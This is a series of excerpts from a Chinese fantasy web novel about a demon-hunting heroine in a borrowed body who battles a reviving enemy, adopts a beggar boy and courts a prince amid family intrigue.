茯凌来不及询问小乞丐怎么会知道这些,因为她看到林昊晗的尸体突然睁开了眼睛,还对她诡异地笑了起来,她直觉眼前的“林昊晗”绝非以前那个林昊晗,两者的战力水平完全不是一个等级,现在她能直观地从“林昊晗”身上感受到危险的气息。 来不及思考,“林昊晗”突然就冲茯凌扑杀过来,茯凌顾不上其他,迅速画出一张符咒,低呵一声“破”,同时侧身躲过“林昊晗”的攻击,她脚步旋转,左腿在空中划出一个半弧后正中“林昊晗”后背,将他踢飞出去的刹那,周围环境瞬息变化,从林昊晗的卧房变成了一片漫无边际的水域。此刻,她、小乞丐、“林昊晗”三人便站立在水中,那水清澈而浅,只堪堪没过脚背,高度甚至不及脚踝。 这是她刚才画出的那张符咒的效果。那道符咒名曰“隐秘之境”,没什么攻击性作用,唯一的用处就是让他们短暂地进入到另一个空间,这样即便发生激烈的打斗,也不会引起外界的注意。只是“隐秘之境”的时效性很短,她必须快速解决掉“林昊晗”才行。 眼看“林昊晗”再次凶神恶煞地向她杀来,茯凌赶紧画出一道火符,随着一声“破”,火符瞬间化为席卷“林昊晗”全身的熊熊烈火,可令茯凌失望的是,“林昊晗”似乎并没有被影响到,即便全身上下都在着火,可也仅仅只是着火而已。这把将全嬷嬷烧得骨头渣都不剩的烈火,却对“林昊晗”毫无作用,他似乎根本感觉不到疼,也没有被大火烧毁衣服或皮肤的迹象,像是有层什么肉眼看不见的保护膜在为他护体。 不仅为此,“林昊晗”还会借力打力,只见他摊开手掌,身上的大火竟瞬间被他吸去掌心之上,并迅速形成一个火球,他对准茯凌的方向就将火球扔了出去,这还没完,他掌上的火球像是取之不尽、用之不竭,扔完一个还有一个,就这么不间断地向茯凌狂丢乱扔,茯凌只好闪来闪去、侧身翻转地躲避着火球攻击,同时冲边上看好戏的小乞丐怒道:“向死而生到底是个什么东西?” 小乞丐的声音在噼里啪啦的火球炸地声中响起:“一种可以不断复活的玄术。修炼者每复活一次,修为就会激增一次。” 也就是说,每杀死他一次,都会让他变得更强大?这也太逆天了吧!茯凌感觉自己惹上了大麻烦,她弯腰躲过火球攻击,同时画出一道雷符朝“林昊晗”劈去,急问:“我要杀他几次才能将他彻底杀死?” 一道蓝白色的雷电劈中“林昊晗”肩膀,在滋滋电流和滚滚火炸声里,小乞丐平静地回答茯凌道:“按林昊晗的天资水平,杀三次应该是够了。我已经杀了一次,剩下两次交给你。” 茯凌不知为何有些生气,刚才那道雷符只是让“林昊晗”的肩膀冒了一阵烟,根本没妨碍他继续朝她丢火球。她不死心,连画三道雷符朝“林昊晗”丢去,同时高声质问小乞丐道:“你就一点儿都不害怕吗?” 别看乞丐年纪小,说起话来却是稳如老狗:“我是乞丐,长不大,死便死了。” 好嘛,他自暴自弃、将生死置之度外,倒衬托得转来转去、踢腿下腰躲避火球的她更像杂戏团里的猴子了。茯凌心想再这么下去也不是个事,迟早得体力耗尽,况且“隐秘之境”也支撑不了这么长时间,要是打斗声引起林如进、杜若芬的注意,那她完成任务一就更费劲了。 茯凌双手同时画符,左手一道“捆仙绳”,右手一道“龙王庙”,大喝一声:“破!” “捆仙绳”化成银线将“林昊晗”捆成粽子的同时,“龙王庙”化为湛蓝大水将四周火球全数灭尽。 这两道符咒对于现阶段的茯凌来说,算是比较耗费灵力的类型,她必须速战速决。没有片刻迟疑,在“捆仙绳”困住“林昊晗”的当下,茯凌再次双手并用,一道“雷符”一道“火符”,两符相融朝“林昊晗”飞去,在半路化为巨大的雷火球,不偏不倚正中“林昊晗”眉心,而后迅速放大,伴随着一声轰鸣,雷火球又化为强光,小乞丐被强光刺得睁不开眼,等强光退去、他能睁开眼时,就看到“林昊晗”已经毫无生气地倒在了地上,鲜血从“林昊晗”背后晕开,将他周围的浅水染成红色。 “还有一次。”茯凌轻声说道。 她没功夫去管边上的小乞丐,等“林昊晗”复活的这段时间,她必须尽快恢复体力。 茯凌就地而坐,摆好打坐姿势就开始闭目养神,静静感受体内的灵力流动。没给她太多恢复时间,这次“林昊晗”复活的速度竟比上一次快出不少,听到那声熟悉的咔擦咔擦声,茯凌立刻起身,她这次必须一招制敌。 抛弃心里的愧疚,茯凌双手扣紧合于胸前,摆出召唤姿势,只是她召唤的并非什么妖怪,而是“化龙”。 “化龙”是宗政向离的影子,不在妖符之中,而是游散在她的灵魂里。这是当初宗政向离送给她的聘礼,集上古之力,用七七四十九天,将他自己的影子抽离、掰碎,再一点点融入茯凌灵魂,成为她灵魂的一部分。 “化龙”的战斗力以宿主的修为为基准上下浮动,巅峰时便是另一个宗政向离,有天地变色、万妖嚎泣的恐怖能量。当初茯凌修为强悍,“化龙”在她身上是令无数宗门豪族胆寒震荡的彪悍存在,如今的她在林起月的身体里,灵力虽然流失大半,但召出“化龙”便相当于两个她在同时作战。 况且,正因为现在的她修为不够,连召唤大妖的门槛都达不到,所以“化龙”的能量会比现阶段的她厉害不少。宗政向离说过,宿主修为强悍,“化龙”的战斗力会比宿主偏低,而宿主修为低弱,“化龙”的战斗力则会高出宿主一大截,这是“化龙”的保护机制。 但无论现在的“化龙”能力如何,灭杀“林昊晗”应该是足够了。 随着召唤礼成,不过须臾之间,茯凌倒映在水中的影子便幻化为龙,紧接着,一条黑鳞玄爪妖犄龙自茯凌体内升腾而出,宗政向离的影子,与宗政向离的妖身如出一辙。巨龙盘旋空中,电闪雷鸣应势而起,林起月的身体开始不受茯凌控制地作出反应,只听得她心脏砰砰砰狂跳不止,肩膀竟不自觉颤抖起来,这种恐惧是肉体凡胎窥见上古妖龙时的下意识反应,即便她看见的只不过是上古妖龙的影子。 不止林起月的身体,连对面的“林昊晗”也开始颤抖着往后退,在惊悚间竟忘了向茯凌发动攻击,茯凌快刀斩乱麻,一声“杀”,“化龙”便张牙舞爪地往“林昊晗”攻去,只听一声龙哮,甚至没等茯凌出手,“化龙”便一举绞杀“林昊晗”,它不过绕着“林昊晗”飞了半圈,“林昊晗”便在一团黑雾金光下七窍流血而死,尸 9. 第9章 小十一 《在捉妖世界当热血万人迷》全本免费阅读 隐身符属于低阶符咒,只能瞒过人族和毫无修为的神族的眼睛,但凡有点修为的神族和妖族都不会被隐身符所骗。 茯凌担心小乞丐不了解隐身符会到处瞎跑,于是提醒道:“你贴上这道隐身符后,飞花看不见你,你要小心点儿,她若往你这儿来了,你就让开些,别跟她撞到一起吓着她。我这间屋子平时没什么人会来,除了飞花就是宋奶娘偶尔会过来看我。宋奶娘虽然是神族,但据我所知没有修习过玄术,因此也是看不见你的,但其他人就不好说了。所以你没事不要乱跑,如果有别的什么人来,我会把你暂时拉入隐秘之境,就是我先前在林昊晗房里用过的、那个地上全是水的空间。你若突然进了那里,不要害怕,过一会儿就能自己出来了。” 小乞丐点点头,不轻不重地“嗯”了声。 茯凌想起来自己还不知道他的名字,问道:“对了,你叫什么?”总不能一直喊他小乞丐。 他挺平静地说:“没名字。” 茯凌忍不住揶揄他:“你不是说自己并非生来就是乞丐?怎么你爹娘记得教你读书认字,不记得要先给你取个名字?” 小乞丐没应声,他额上贴着的符咒几乎遮住他大半张脸,茯凌看不到符咒后的他此刻是何表情,只觉得他这个样子有些滑稽,像是精致却破碎的木偶娃娃,有种诡异的可爱感。她于是也就不跟他计较了,想着也许是他不愿意透露姓名,便道:“那我给你取一个吧。” 小乞丐点了下头。 茯凌便问他:“你今年多大了?” 他这会儿倒是肯说了:“十一。” 茯凌有些意外,看着只有八、九岁,想不到竟然都十一了,看来是吃不饱饭给饿的,所以个头不高,看起来显小。茯凌于是又怜悯起他来,说:“那你以后就叫小十一,行不行?” 小乞丐反应淡淡的:“随便。” 茯凌以为他不喜欢这个名字,但一时之间又懒得费心思给他取名,说:“那就这么定了,以后我就管你叫小十一,你出去后若是想到其他更好的名字,自己改了便是。” 小十一没说话,由始至终都是散漫的无所谓的态度。 茯凌见他身上血痕斑斑,衣服被砍得一缕一缕的,头发也乌糟凌乱,说:“我给你梳个头吧。” 虽然没条件给他清洗沐浴,怕整出太大动静,惹出不必要的事端,加上她也嫌麻烦,但梳个头还是能做到的。说着,茯凌就走到妆台那儿拿来一把木梳,回头见小十一还坐在地上,想起来他脚踝伤势挺重,怕是靠自己起不来,于是她又拿着木梳走回去,说:“飞花那儿有金创药,我明日问她要一些,你暂且先忍一晚。” 小十一“嗯”了声。 茯凌走到他身后大咧咧坐下,屋里没点灯,她借着窗外的月光就开始用木梳在他头上比划:“你姑奶奶我还没给别人梳过头呢,你是第一个。要是把你扯疼了,你就咬牙忍一忍,反正再疼也没你身上那些横七竖八的伤口疼。” 小十一问她:“你多大了,就敢当我姑奶奶?” 茯凌给他梳着头,把他头发全都往后拢,觉得自己像是在玩过家家,小十一就是她的玩具,这种感觉还挺新鲜,便好声好气地回道:“一百来岁了,够资格当你姑奶奶了吧?” 小十一闻言却轻轻笑了声,并没说什么。 他竟然在笑她,她堂堂茯凌大人竟然被一个十一岁的小孩儿给嘲笑了,茯凌报复性地将他的头发绑成一个奇形怪状的发髻,哼道:“你笑什么?十个你加起来都没我岁数大。” 小十一没接她话,只随意问了句:“你一直都这么热心?” 茯凌没搭理他,她去衣柜里找出一条毯子,把小十一裹了起来,说:“你注意点儿,别把身上的血弄得到处都是,给人抓住把柄。”接着又一把将他连人带毯子地抱了起来,小十一在她怀里挺平静地说:“你要是嫌麻烦,就杀了我,我不怨你。” “难道我是什么杀人狂魔吗?”茯凌把他丢到榻上,“这些天我分你一半床榻,你睡觉不打呼吧?” 小十一的眉毛却浅浅地皱了起来:“我不跟你一起睡。” 茯凌“嘿”了声,她还没嫌弃他脏兮兮的呢,他倒先嫌弃起她来了,真是岂有此理!她一把捏住他脸,一只手还不够,干脆两只手左右夹击,把他捏成一个可爱又搞笑的饼脸造型,威胁道:“这里没你提要求的份儿,我说什么就是什么,给我老实点!” 小十一甩她甩不掉,在她的胁迫下,原先漂亮精致的小脸变成了一张滑稽可笑的鬼脸,他挣脱不开,忿道:“放肆!” “放肆?”茯凌哈哈笑起来,“你一个小乞丐,还会说放肆呢?看来祖上确实阔过啊!”笑完想起什么,这才放过小十一的脸,恢复了一点正经,道:“林昊晗的死应该很快就会被发现,我估计他们今晚就会召集全府的人对峙找凶手,我这儿应该也会来人带我过去。” 说到这里,她凭空画出一道符咒,塞给小十一:“你先拿着这道隐秘之境,待会儿要是有人来了,我就把你放进去。” 小十一说:“他们若是查出人是你杀的,你打得过吗?” 茯凌摇摇头:“双拳难敌四手。”况且林如进、杜若芬、林浚烨三人的修为到底在哪个水平,在她这里尚不明朗,只怕不会低,若真联手对付她,以她现在的修为确实招架不住。 小十一没说话,静了片刻后道:“我怎么才能知道你有没有危险?” 茯凌挑眉:“怎么?怕我把你供出来?” 小十一严肃地看着她,茯凌被他少年老成的眼神看得撇了撇嘴,说:“贴在你额头上的符纸若是消失了,就代表我嗝屁了。” 小十一道:“那样太晚了。” 茯凌不屑地哼了声:“要是我真打不过快死了,难道你还能救我不成?你自己都泥菩萨过江了,还得靠我救济。” 小十一没跟她逞口舌之快,只道:“你若一炷香之内还没回来,我便去找你。” “可别。”真到了要杀出重围的地步,她可没功夫管这小孩儿,“这一关要是过不去,咱俩就就地散伙,大路朝天,各走一边,你可别来祸害我。” 小十一无语地看了她一眼,没说话。 茯凌不跟他啰嗦,她现在的衣服上有血迹,待会儿被人看见了不好交代,于是赶紧换了身干净衣裳,又把有血迹的旧衣用火符烧了,再清理好地上血痕,这才躺去榻上,对里边儿的小十一道:“晚上睡觉老实点儿,乖乖待在你那半边,别越线,别打呼,别乱动,别翻身,要是吵着我,就杀了你煨汤。” 小十一不情不愿地哼了声。茯凌便当他答应了。 躺下没多久,果然听见脚步声,有一帮人正往她这儿来,茯凌低念一声“破”,小十一瞬间被收入隐秘之境。 等屋里只剩她一人,脚步声便越来越近,最终那一阵杂乱的脚步在内室外停下,接着内室的珠帘被撩起,飞花一人走了进来,她动作很急,几乎是颤抖着点燃了屋里的烛灯,而后又小跑到榻边要唤醒茯凌:“小姐,醒醒,小姐。” 茯凌佯装虚弱地睁开眼睛:“飞花?怎么了?” 飞花比甲盘扣都没系好,看样子是梦中临时被人喊起来的,她表情又惊又恐:“小姐快起来吧!府里出大事了!说是三少爷没了,老爷夫人让所有人都去红山院的松柏厅问话!” 茯凌就这么被飞花从榻上半拉半拽地伺候着起了身,她牢记自己现阶段的吃错药病秧子设定,不敢表现得太有生机,被一帮仆人婢女半簇拥半胁迫地往红山院去的路上,走三步就喘一下,走五步又扶一次额,走十步再往飞花身上靠一靠,最后为首的一个管事实在看不下去了,怕被茯凌拖累耽误,只好命一个体格健壮的神族婢女背着茯凌前行,可即便如此,他们这一帮仍是最后抵达红山院的,于是茯凌只好在众目睽睽之下由婢女背进了松柏厅。 “矫情!”大厅边上红着眼睛的林羽汐低声骂了茯凌一句。 茯凌被丫鬟放在了林羽汐斜对面、靠近大门的椅子上,她迅速环视四周,诺大的松柏厅,仆人婢女里三圈外三圈地站了满屋,圈子中心,林如进和杜若芬表情严肃而悲痛地坐在上座,林如进下方位是林浚烨,隔两个空座便是茯凌此刻身处的位置,杜若芬下方位则依次坐着戚媚娘和林羽汐,堂心中央的空地上摆着一具盖着白布的尸体,应该就是林昊晗了。茯凌情态孱弱地向林如进、杜若芬问了安,两人谁也没理她,她便识趣地不再说话。 屋内陷入了死一般的寂静,也不知过了多久,林如进“啪”一声重重拍了下桌子,怒道:“谁?!谁杀了我儿?!自己站出来!我给你留个全尸!” 自然是无人出列,屋里似乎比刚才更要死气沉沉。 杜若芬满脸泪水,双眼猩红得仿佛要吃人,她大呵一声:“姜顺!” 名为姜顺的仆人便立马颤抖着从人群中出来,噗一下跪倒在林如进和杜若芬面前,哭道:“老爷饶命!夫人饶命!” 杜若芬指着他斥道:“你说!一五一十说清楚!” 姜顺便道:“三少爷最近新买了一个书童,今晚说要那书童伺候着……伺候着研习书法,让我等都退下、不得打扰。那书童就是个人族小孩,个头不高,又瘦,于是院里伺候的下人就都听命退了出去。谁知道……谁知道等我去少爷房中等候差遣,却看见少爷横死在房中,旁边还有一把剑,是少爷平时挂在屋里的那把。书童不知去向,大概是跑了,我等在府中搜寻很久也没找到……” “混账!”杜若芬怒骂道,“你的意思是我的晗哥儿,是被一个人族孩子杀的?姜顺!你好大的胆子!” “奴才不敢!奴 10. 第10章 善妒 《在捉妖世界当热血万人迷》全本免费阅读 “欲加之罪,何患无词!”茯凌掩面哭道,“四妹妹若真恨我至此,何苦演这一出?以四妹妹的修为,杀我就像碾死一只蚂蚁那样简单,干脆将我丢尸荒野好了。给我罗列这些大逆不道的罪名,四妹妹想置于死地的,究竟是我?还是整个林府的名声?” “我演?是我演还是你演?”林羽汐指着茯凌,对林如进道,“父亲您看看,以前的林起月会像现在这样,动不动就哭一嗓子,时不时就装柔扮弱吗?现在坐在这里的,指不定是什么妖魔鬼怪!我看真正的林起月早在北地的时候,就被眼前这个妖祟夺了舍!” 听到“夺舍”一词,不仅是林如进,连杜若芬、戚媚娘、林浚烨都纷纷将目光投向茯凌。茯凌身处众人视线聚拢之处,双眼蓄泪地从椅子上起身,而后柔若无骨地跪倒下来:“父亲明鉴,四妹妹为了冤杀我,竟什么编排人的胡话都敢乱说。” 她委屈无比地看向林浚烨:“大哥哥,你博闻强识,不会不知道‘夺舍’是何等娟邪狠毒的术数。即便是妹妹这样不通玄术之人,也知道想要夺舍绝非易事,别说普通修为者,恐怕就连坐镇大玄殿的十二大玄,也没有能力行夺舍之术。若是真像四妹妹所言,我不是林起月,而是妖祟夺了舍,那我的修为岂不是远超十二大玄?既然十二大玄都不是我的对手,那我何苦还要偷偷摸摸杀人?就是此时此刻,我想灭了林府满门,也没有人能奈我何!” 林浚烨闻言若有所思地点了点头,对林如进道:“二妹妹所言确有道理。” 茯凌又泪眼汪汪地看向林如进:“父亲,四妹妹说我此番回京,是妖邪夺舍、回来复仇。可若我真被妖邪夺了舍,那妖邪与林府素无瓜葛,又有哪门子仇要报?爹爹!女儿在北地九死一生,愈发体悟到亲情可贵,这才痛改前非、收敛性子,立誓要孝敬爹爹和母亲,一心盼望着可以兄友弟恭、姐妹同心,谁知道四妹妹竟如此想我!” 林如进见她情深意切,慢慢叹了口气,道:“先起来罢。” 茯凌没起来,仍旧跪在地上,她此刻又看向杜若芬:“母亲,四妹妹一会儿说我是妖邪夺舍,一会儿又说我买凶杀人,可母亲您想想,我哪有钱财雇凶?去北地时,母亲命人将我院中财产尽数充公。从北地回来后,母亲也没恢复我每月的例钱。我身子弱,喝药苦口,却连解苦的蜜饯都无钱可买。那日二殿下和奚王世子好心前来送药,我却连招待他们的茶水都供应不上。我哪里有闲钱买凶?” 杜若芬脸色一变再变,林如进却从中抓住重点:“你说什么?那日二殿下和奚王世子来我府上,竟连一口茶水都没喝上?” 茯凌道:“父亲莫急,二殿下与奚王世子只是对我怜惜,并未觉得被怠慢。他日有机会,月儿自会登门弥补。” 林羽汐眼看形势被茯凌扭转,连忙又跳了出来叫道:“父亲可别被她三言两语蒙骗!她没钱买凶,可二殿下和奚王世子有钱啊!” 林浚烨冷笑一声:“四妹妹真是见谁都像杀害昊晗弟弟的真凶。见陷害二妹妹不成,现在竟连二殿下和奚王世子都想拉下水!接下来是不是该轮到太子殿下了?我可是听说,昊晗弟弟新买回来的小书童,与太子殿下幼时容貌十分相似。他买个与太子殿下相像的书童回来,到底是用来做什么事的,大家心里都有数!四妹妹难不成也想说,是太子殿下得知此事后震怒杀人?不然小书童为什么会神秘消失?” 茯凌赶紧补刀:“大哥哥怎么把四妹妹的话抢先说了?只怕四妹妹要说,太子殿下的坐骑是天青神虬,飞来飞去地杀个人太容易了。” “你!你们!”林羽汐气得一张脸通红,情急之下更是逮谁咬谁,“从前也不见大哥哥这么为林起月说话,难不成三哥哥的死,是大哥哥和林起月合力所为?只怕戚姨娘也参与其中!只要三哥哥死了,大哥哥就能继承家业,戚姨娘母凭子贵,就再也不用屈居人下、看我母亲脸色过活了!” “够了!”林如进怒喝一声。他原本听林羽汐竟敢拉沐纶下水,已经有些头皮发麻,再一听到太子殿下,瞬间就被惊出一身冷汗。他竟然不知道林昊晗买了个跟太子容貌相似的书童回府,这若是被朝堂上的对手发现,岂不是一把可以刺穿他心脏的利剑?林如进怒不可遏地瞪了眼地上林昊晗的尸体,被这么一搅和,他现在对林昊晗的死已经没有那么痛心疾首了,反而松了一口气。 林如进又惊又怒地看向杜若芬:“好好一对儿女都被你给教坏了!” 林羽汐:“父亲——” “你住口!”林如进气得胸口起起伏伏,“晗儿的死,我自会查明,你们勿须多言,也不要再往里掺合!今后再教我听到谁将晗儿的死跟二殿下、世子殿下、太子殿下扯上关系,有一个算一个,就地斩杀!” 林羽汐还不死心:“难道三哥哥的死就这么算了?” 林如进怒发冲冠:“他今日不死,以后祸害的就是我们全府的性命!” “老爷这是什么话?”杜若芬气得眼泪直流,“难道在老爷眼里,我晗哥儿该死不成?” 林如进意识到自己情急失言,肃色道:“我可没这么说。”接着又看到茯凌,见她仍跪在地上,道:“月儿身边服侍的丫鬟在哪儿?还不快扶你们主子起来!” 飞花立马挤开人群跑出来,向林如进、杜若芬等人欠了欠身,接着就连忙扶茯凌起身,林如进声音响起:“月丫头身体不适,不必再在这儿候着,早些回去歇息罢。”又对杜若芬道,“将月儿去北地这半年的例钱都给她补上,以前没收的财产也都还回去,让她好好养身体。” 杜若芬没说话,茯凌道:“月儿谢过父亲、谢过母亲。” 林如进道:“二殿下和奚王世子的事,你也上点心。他俩至今都未娶妻,为父也知道你心仪奚王世子。不管是二殿下还是世子殿下,你若能嫁过去,看看这个家里往后还有谁敢动不动就给你罗列罪名扣帽子!” 茯凌没想到林如进竟如此直白,只柔声道:“女儿知道了。”接着就在飞花的搀扶下回了藏月阁。可红山院的一出大戏还没完,茯凌中途退场,只觉心力交瘁,这一天天的,比她那会儿捉妖画符都要累! 看着茯凌离开的背影,林羽汐的眼珠子都要瞪出来了,可在林如进的怒火之下,她却再也不敢多说半句。而杜若芬就有些不同,虽然也是气急败坏,但她本来就没把茯凌和林昊晗的死扯在一块儿,在她看来,杀死林昊晗的凶手除了林浚烨再无他人。 “老爷。”杜若芬起身道,“你说晗哥儿差点祸害全府性命,难道他林浚烨就能好到哪里去吗?” 林如进愤而叹道:“你又要干什么?” 杜若芬道:“我要干什么?老爷怎么不问问你的好儿子要干什么?林浚烨勾结妖族,这可是抄家灭门的大罪!” 林浚烨怒道:“你休要血口喷人!难道林昊晗死了,你就要拉全府给他陪葬?!” …… 他们吵闹争辩、鸡犬不宁,茯凌倒是清净下来,飞花服侍她回屋躺下,劫后余生地哭道:“今日可真凶险。” 茯凌瞥了眼床榻里边盘腿坐着的小十一,他已经从隐秘之境里出来,额头上贴着的隐身符纹丝不动,此刻正静静地看着她。她装出体力不支的样子,虚弱地对飞花道:“你下去歇息罢,别在这儿耗着了,我也累了。” 飞花噙着泪道:“奴婢明日就去宋奶娘家,让宋奶娘给小姐找个郎中。” 茯凌:“这倒不必。别让奶娘担心,我只是受药物影响,静养几日便好。” 飞花泪花汹涌:“可是小姐,您看起来真的很不好。” 茯凌心想,这小丫头就不困吗?又催她:“回去歇息罢,我自己的身体自己有数。” “小姐,您死了,奴婢可怎么办啊。”飞花眼泪流着流着就嚎哭起来,“老爷不会让奴婢给小姐殉葬吧?” 茯凌太阳穴跳了跳,她假装孱弱地咳嗽了几声:“你若再这般闹腾,我没病也要被你缠出病来了。” 飞花这才胡乱抹了几下眼泪水:“奴婢希望小姐健健康康。那奴婢先下去了,小姐好好休息。” 飞花总算一步三回头地离开了茯凌内寝,粗心的小丫头临走时连烛灯也忘记熄灭,不过茯凌却正好可以借光仔细打量小十一的容貌,她躺着没动,伸手把小十一额上的隐身符给撕了,说:“你这长相,确实当不了乞丐。” 小十一看着她:“戏不错。” 茯凌骄傲地想,你这才看了个皮毛 11. 第11章 红莲业火 《在捉妖世界当热血万人迷》全本免费阅读 茯凌在藏月阁静养了半月,期间做了三件事。 其一,问飞花要来了金创药,又偷偷翻墙出去买了些药材回来,总算给小十一治上了伤,也帮飞花养好了脸上的鞭痕。 其二,把相楚澜给的两锭金子交给宋奶娘,托她将先前卖出的画像全部召回,剩下的钱财就当作宋奶娘的辛苦费。 其三,继续通过听音符监听戚媚娘和林羽汐的动态。戚媚娘和以往没什么不同,主要活动还是买买买。林羽汐则大不一样,少了杜若芬的管束,她头两日还哭得死去活来,后来慢慢发现自己自由了,便享受起这种无拘无束的日子,去戏园子去得越发勤快,与那叫鹧衣的戏子柔情蜜意,以致常常乐不思蜀,总要身边婢女几番催促才肯回府。 茯凌不着急处理林羽汐和戚媚娘,一来怕激怒杜若芬和林浚烨,二来怕引人怀疑惹火烧身,三来觉得留着戚媚娘兴许有用。林浚烨已进入大玄殿总决选、成功在望,若他有心扶自己生母上位当林府正头娘子,以此来稳固自己的地位,那茯凌完全可以借他之手除去杜若芬。 因此,她决定将支线任务一暂且搁置,先花心思做做主线任务——攻略相楚澜。 这日,茯凌召回了所有画像,便决定去趟奚王府尽数相赠,毕竟这些画像算是相楚澜花两锭金子买下的,她正好可以趁此机会去他面前刷些好感度。 林如进不知具体缘由,只当茯凌是为相楚澜准备了礼物,便派了两个小厮为她捧画,还主动安排好马车,对茯凌前往奚王府一事颇为重视。茯凌知道她这个便宜爹在打什么算盘,也不点破,就柔柔顺顺一句:“女儿谢过爹爹。” 那老贼就假模假样回她:“诶,你我父女,何须道谢。” 说来也巧,等茯凌到达奚王府,正好瞧见相楚澜和沐纶从府里出来,王府门口停着辆马车,他们像是要去什么地方。茯凌便快步走上前去,那两个捧画的小厮赶紧跟在她身后亦步亦趋,相楚澜和沐纶同时瞧见了她,不约而同停住脚步,沐纶更是轻笑着对相楚澜念了句“桃花债找上门了”,相楚澜未置言辞,扫了眼茯凌身后的卷轴,心中大概明了。 茯凌来到他们面前,欠了欠身,道:“殿下和世子这是要去哪儿?” 相楚澜未答,只心照不宣地反问她:“全都召回了?” 茯凌笑道:“都在这儿了,世子可以清点一二。” 相楚澜嗓音清悦:“辛苦。” 茯凌心想你还真有风度,莞尔:“应该的。” 沐纶丈二和尚摸不着头脑:“你们在说什么?我怎么一句也听不明白?” 茯凌有意拉近和相楚澜的距离,便对沐纶神秘一笑:“秘密。” 沐纶故作惊讶:“这才过去多久,你们两个就发展出共同秘密了?”他朝茯凌眨了眨眼,“到底是什么秘密?能不能让我也知道?” 茯凌浅笑着看了相楚澜一眼,见他没有表现出排斥,只是挑眉用一种“我看你怎么编”的矜傲眼神看着她,便进一步制造暧昧气氛道:“都说是我跟他两个人之间的秘密了,自然不能叫第三个人知道。”说完又假装可爱地对相楚澜道:“是吧?” 相楚澜见她目光澄澈,一脸娇俏的神情似在向他邀宠,又似在故意恶心他。他心中微有异样,没搭理她,抬手轻轻一扬,艳色的火光瞬间袭燃小厮手中的画卷。 那两个捧画的小厮吓了一跳,只见画卷在绚丽的火星啃噬下尽数烧为齑粉随风散去,他们愣怔过后连忙检查自己有没有被火烧着,发现安然无恙后又面面相觑,似乎在惊讶奚王世子的不领情——竟当众焚毁了他们小姐亲自登门相送的礼物。 沐纶不禁好奇起来:“这些卷轴到底什么来路?竟也值得你动用红莲业火?” 相楚澜看了眼茯凌,没好气道:“你问她。她整出来的东西,她最清楚。” 茯凌心虚地笑笑,问沐纶:“你刚说红莲业火,那是什么?” 沐纶解释道:“阿澜的内生武器。” 茯凌心想,倒与她的火符有些相似。 沐纶看着茯凌:“你还没回答我那些卷轴是什么,跟你们的小秘密有关?” 茯凌不接这个烫手山芋,打算把问题抛回给相楚澜,便佯装生气地撇了撇嘴,对沐纶道:“你问他。我辛辛苦苦为他寻来的东西,他看也不看,随手就给扬了。真是令人心寒。” 相楚澜没想到她竟好意思这么说,忍不住轻嗤:“你这叫作茧自缚。” 茯凌看出来了,这男的有风度,但不多,有教养,但点到为止。她于是笑眯眯对他道:“我这叫作茧自缚,你这叫自投罗网,咱俩也算秤杆配秤砣、王八瞧绿豆了。” “噗哈哈。”沐纶忍不住笑出声来,“你这遣词造句是哪位先生教的?我看呀,该给他开除师籍。” 相楚澜讽道:“怕是她自学成才。” 茯凌脸皮厚不怕臊:“还是你懂我。” 相楚澜:“……” 看他被她噎得说不出话来,茯凌心情大好,但转念一想又觉得不妥,她是来攻略他的,不是来恶心他的,于是赶紧转移话题:“对了,你们还没说要去哪儿。” 沐纶道:“光顾着站这儿聊天,倒怠慢了林二小姐。我与阿澜正要去跑马场练习马术,你要不要一起?” 茯凌道:“好啊。反正我接下来也没什么事。” 相楚澜瞥了她一眼,倒是没说什么,茯凌便认为他这是同意了,便欢快地打发走了身后站着的两名小厮,又让林府的马车先回去,她今天必须在他面前挣挣好感分。 茯凌一鼓作气,壮志凌云地跟着相楚澜、沐纶走到奚王府大门前停着的那辆马车旁,沐纶率先上了马车,接着是相楚澜,茯凌跟在后面,一只脚刚踩上马凳,就听沐纶对相楚澜道:“你扶扶二小姐呀。” 她于是抬头,看到沐纶脸上挂着狡黠的笑、弯腰钻进了马车,她心里默默给他竖起一根大拇指,兄弟真上路子!再去看相楚澜,他表情不知是尴尬还是别扭,不过倒是挺有风仪地朝她伸出了一只手,茯凌也不客气,笑着把手搭上去:“世子殿下真是人美心善。” 相楚澜无语凝噎,他将她拉上马车,手指触到她水葱般纤细的指,瞥见她指甲圆润透粉,他即刻收回目光,掌心中的触感柔软细腻,与她性情大不相同。 进到车厢里,茯凌自然而然地收回手,她可不能死乞白赖地抓着他掌心不放,这种肢体接触要恰到好处才行,不然一不小心又要被他扣好感分。茯凌坐到沐纶右下位,抬头对相楚澜道:“谢谢。” 相楚澜在她对面坐下,刚被她握过的手掌尚存一丝温热,他低头看了眼,淡声回道:“不谢。” 沐纶打趣道:“你们两个也真有意思,一会儿针锋相对,一会儿又相敬如宾。” 相楚澜面色微冷:“我何时与她相敬如宾了?” 茯凌却笑嘻嘻道:“我何时与他针锋相对了?” 沐纶笑着摇了摇头,问茯凌道:“林二小姐可会骑马?” 茯凌牟足了劲要跟相楚澜扯上关系,笑意款款看向他:“世子是喜欢会骑马的,还是喜欢不会骑马的?” 相楚澜没想到她这也能扯到他身上,冷声道:“我喜欢内向一点的。” 茯凌指了指自己:“那我内向,平时都不敢跟人说话,见人都躲着走。” 相楚澜不可思议地看向她:“你怕不是对自己有什么误解。” 沐纶咳嗽了声:“阿澜。” 茯凌这才看向沐纶,延迟性地回复他道:“回二殿下,我不会骑马,平时内向到连马都不敢看一眼。”以前她收了只金冠九尾鸟妖,平时都是骑着它飞,日行千里不在话下,哪里还用得着学骑马?又道,“不过今日倒想学一学。” 沐纶见她张口就来,笑了笑:“无妨,今日就让阿澜好好教你。” 相楚澜态度倨傲:“我教不了内向的人骑马。” 茯凌游刃有余:“没事,我学骑马的时候不内向。” 相楚澜嗤道:“你性格倒是多变。” 茯凌回:“过奖,比旁人灵活一些罢了。” 沐纶现在有些佩服茯凌了,他看了眼相楚澜,见他一脸被对方硬控住的表情,不禁有些想笑。他抿唇忍住笑意,对茯凌道:“林二小姐以后不必殿下长殿下短地称呼我,生分,叫我沐纶就行。” 茯凌不拘礼节,当下便大大方方回道:“那你也不用二小姐、林二小姐地喊我,不好听,叫我起月、林起月都成。” “好。”沐纶笑道,“是个爽快人。” 茯凌向他回以一笑,又去看相楚澜:“世子殿下?” 相楚澜迎上她目光,知道她意欲何为,轻轻挑了下眉梢 12. 第12章 大鹏金翎鸟 《在捉妖世界当热血万人迷》全本免费阅读 地二高功?这又是个什么地方?林起月的记忆里并没有出现这么个地名。茯凌不禁好奇,问道:“地二高功是什么?” 沐纶似乎有些意外:“你家大哥哥正在参加大玄殿试炼,听说已经进入决选,你却不知道地二高功?” 茯凌摇摇头:“地二高功和大玄殿有什么联系吗?” 